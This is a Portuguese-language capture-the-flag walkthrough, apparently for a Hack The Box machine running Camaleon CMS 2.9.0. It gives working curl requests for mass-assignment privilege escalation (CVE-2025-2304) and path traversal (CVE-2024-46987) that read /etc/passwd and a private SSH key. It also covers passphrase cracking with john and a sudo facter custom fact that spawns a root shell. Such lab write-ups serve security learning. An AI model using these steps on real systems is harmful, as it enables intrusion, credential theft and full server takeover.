Máquina Linux Easy com Camaleon CMS 2.9.0. Registro aberto seguido de mass assignment (CVE-2025-2304) para virar admin, path traversal (CVE-2024-46987) para ler a chave SSH privada do
trivia, e abuso desudo facterpara root.
Recon
rustscan -a facts.htb -- -sV
| Porta | Serviço | Versão |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.9p1 Ubuntu |
| 80/tcp | HTTP | nginx 1.26.3 (Ubuntu) |
A porta 80 serve um Camaleon CMS, um CMS open-source em Ruby on Rails. Identifiquei a stack pelos sinais de Rails 7: o cookie _factsapp_session no formato do ActiveSupport::MessageEncryptor, os assets servidos de /assets/themes/camaleon_first/ e /assets/camaleon_cms/admin/, e os headers x-request-id / x-runtime.
A versão não é exposta publicamente: os assets têm nome hasheado pelo Sprockets, sem número visível. Confirmei a 2.9.0 só depois de registrar uma conta e autenticar, quando o rodapé do painel exibe Copyright 2015 - 2026 Camaleon CMS. Version 2.9.0. Os endpoints relevantes são /admin/login, /admin/register (registro aberto) e /admin/forgot.
Foothold
Registration and mass assignment
O ponto de entrada é o registro aberto em /admin/register. O formulário exige um captcha de 5 caracteres servido como imagem em /captcha?len=5 — resolvi a imagem e submeti os campos, criando uma conta com role client, sem privilégios administrativos.
Com a conta criada, a CVE-2025-2304 permite escalar de client para admin. O método updated_ajax do UsersController usa params.require(:password).permit! — o permit! sem whitelist aceita qualquer atributo no hash password, incluindo role. A página de perfil (/admin/profile/edit) envia a troca de senha para /admin/users/<ID>/updated_ajax; basta adicionar password[role]=admin ao corpo do request.
curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "X-Requested-With: XMLHttpRequest" -X POST "http://facts.htb/admin/users/<ID>/updated_ajax" --data-urlencode "authenticity_token=$CSRF" --data "_method=patch&password[password]=<PASS>&password[password_confirmation]=<PASS>&password[role]=admin"
Com a resposta 200, todos os menus administrativos (Settings, Users, Themes, Plugins, Media) passam a aparecer e /admin/users, antes proibido, responde 200.
Arbitrary file read
Com acesso admin, a CVE-2024-46987 abre leitura arbitrária. O método download_private_file do MediaController aceita o parâmetro file sem sanitização de path traversal.
curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../etc/passwd"
Apontando o traversal para o home do trivia, li a sua chave SSH privada.
curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"
Passphrase cracking
A chave está encriptada (aes256-ctr + bcrypt). Extraí o hash com ssh2john e quebrei a passphrase com a wordlist rockyou.txt.
ssh2john id_ed25519 > trivia.hash
john trivia.hash --wordlist=/usr/share/wordlists/rockyou.txt
Com a passphrase recuperada, autentiquei por SSH como trivia.
A flag de user está em /home/william/user.txt, legível por qualquer usuário pelas permissões rw-r--r--.
Privilege Escalation
A enumeração de sudo entrega o vetor de imediato.
O facter (Puppet Labs) carrega e executa arquivos .rb de diretórios custom via --custom-dir. Como documentado no GTFOBins, isso dá execução de código Ruby arbitrário — e aqui roda como root. Basta um fact custom que chame system.
Facter.add(:pwn) do
setcode do
system("/bin/bash")
end
end
mkdir /tmp/pwn
sudo /usr/bin/facter --custom-dir=/tmp/pwn pwn
A execução devolve uid=0(root). A flag de root foi lida em /root/root.txt.
Lessons Learned
permit!sem whitelist em Rails é mass assignment garantido: qualquer atributo do modelo, inclusiverole, vira escalável por um parâmetro extra no request.- Registro aberto somado a um CVE de privilege escalation no mesmo CMS encurta o caminho de unauthenticated a admin para dois requests.
- Binário em
sudo NOPASSWDque carrega código externo (facter --custom-dire os vizinhos no GTFOBins) é root instantâneo — vale checar o GTFOBins antes de assumir que um binário “inofensivo” é seguro.
Impact
- O portal de conteúdo gerido pelo CMS fica inteiramente nas mãos do atacante: ele pode publicar desinformação, desfigurar o site ou injetar scripts maliciosos servidos a cada visitante — dano direto à credibilidade da marca.
- A leitura arbitrária de arquivos expõe dados do CMS, configurações e chaves SSH do servidor, abrindo caminho para acesso persistente.